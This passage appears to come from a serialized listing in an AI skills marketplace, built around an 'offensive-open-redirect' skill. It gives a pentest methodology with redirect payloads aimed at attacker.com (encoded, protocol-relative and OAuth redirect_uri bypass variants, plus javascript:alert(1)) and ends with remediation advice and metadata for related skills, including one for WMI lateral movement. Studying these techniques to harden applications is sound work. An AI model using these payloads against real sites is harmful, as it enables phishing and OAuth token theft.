D --> D2[Test encoding bypasses]\n\n    E --> E1[Create PoC exploits]\n    E --> E2[Chain with other vulnerabilities]\n\n    F --> F1[Document vulnerable endpoints]\n    F --> F2[Note successful bypasses]\n```\n\n#### Comprehensive Open Redirect Testing Process\n\n1. **Discovery Phase**:\n   - Map all redirection functionality\n   - Identify redirect parameters through:\n     - Manual testing\n     - Automated crawling\n     - Source code review\n     - Parameter discovery tools\n\n2. **Initial Testing Phase**:\n   - Test basic payload patterns:\n     ```\n     ?redirect=https:\u002F\u002Fattacker.com\n     ?redirect=\u002F\u002Fattacker.com\n     ?redirect=\\\u002F\\\u002Fattacker.com\n     ```\n   - Observe redirection behavior\n   - Document instances of successful redirects\n\n3. **Bypass Testing Phase**:\n   - Test against identified protection mechanisms:\n     - Domain validation bypasses\n     - Encoding bypasses\n     - Protocol bypasses\n     - Path manipulation bypasses\n\n4. **Exploitation Phase**:\n   - Create proof-of-concept exploits\n   - Chain with other vulnerabilities where possible\n   - Demonstrate potential impact scenarios\n\n5. **Documentation Phase**:\n   - Document vulnerable parameters and endpoints\n   - Note successful bypass techniques\n   - Provide clear reproduction steps\n\n### Real-World Testing Examples\n\n#### OAuth Redirect Testing\n\n1. Identify OAuth implementation\n2. Locate redirect_uri parameter\n3. Test various redirect_uri values:\n   - https:\u002F\u002Fattacker.com\n   - https:\u002F\u002Ftarget.com.attacker.com\n   - https:\u002F\u002Ftargetattacker.com\n4. Check for token leakage in the redirection\n\n#### Post-Authentication Redirect Testing\n\n1. Authenticate to the application\n2. Identify post-login redirects\n3. Test redirect parameters with different formats:\n   - Absolute URLs: `https:\u002F\u002Fattacker.com`\n   - Relative with protocol: `\u002F\u002Fattacker.com`\n   - Encoded values: `%68%74%74%70%73%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d`\n\n#### URL Shortener Testing\n\n1. Identify URL shortening functionality\n2. Submit malicious URLs for shortening\n3. Test shortening of various payload formats:\n   - javascript:alert(1)\n   - data: URLs\n   - Protocol-less URLs: \u002F\u002Fattacker.com\n\n## Remediation Recommendations\n\n- **Implement Proper Validation**:\n  - Use allowlists of permitted domains\n  - Validate using server-side logic (not client-side)\n  - Implement URI parsing libraries for proper validation\n\n- **Use Indirect References**:\n  - Instead of directly using user input for redirects, map to server-side values\n  - Example: Use numeric IDs that map to pre-approved URLs\n\n- **Implement Safe Redirect Patterns**:\n  - Create a warning page for external redirects\n  - Include clear indicators of leaving the site\n  - Add visual cues for external navigation\n\n- **Technical Controls**:\n  - Validate protocol (only http\u002Fhttps)\n  - Validate domain against allowlist\n  - Use full URL parsing rather than simple string checks\n  - Implement CSRF protection for redirect endpoints\n  - For mobile deep links, validate package\u002Fbundle IDs and enforce App Links\u002FUniversal Links verification.\n",{"name":5,"domain":25,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Foffensive-open-redirect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":47,"prompt":57,"zipAvailable":58},[48,51,54],{"tool":49,"command":50},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill offensive-open-redirect",{"tool":52,"command":53},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill offensive-open-redirect",{"tool":55,"command":56},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill offensive-open-redirect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-open-redirect\u002FSKILL.md",true,[60],{"path":61,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":64,"sourceHtmlUrl":65},"index.json","REFERENCE","参考文档",572,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-open-redirect\u002Findex.json",[67,92,115,137,159,175],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":34},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,25,91],"services","detect","services wmi persistence detect","wmi","persistence","de","cm","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":93,"name":94,"nameZh":6,"description":95,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":34},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[99,74,100,77,101,102,103,25,104,105,106,107,108,109,79,110,111,112,113,114],"exploit","services wmi exec exploit","exec","remote","traffic","Bash","analysis","team","across","crackmapexec","native","command","lateral movement","read","lateral-movement","Impacket",{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":34},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[122,123,124,125,126,127,25,104,128,105,129,130,79,112,131,132,133,134,135,136],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper","sonnet",{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":143,"publishedAt":34},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[75,144,145,146,147,148,149,80,150,25,91,151,152,153,154,155,156,157,158,79],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":160,"name":161,"nameZh":6,"description":162,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":163,"categories":164,"keywords":165,"publishedAt":34},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[166,167,75,168,146,148,169,80,170,150,25,91,105,171,172,173,174,158,79,81],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":176,"name":177,"nameZh":6,"description":178,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":179,"categories":180,"keywords":181,"publishedAt":34},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[182,75,146,183,169,80,184,185,25,91,186,187,188,189,190,191,79,81,192,193],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]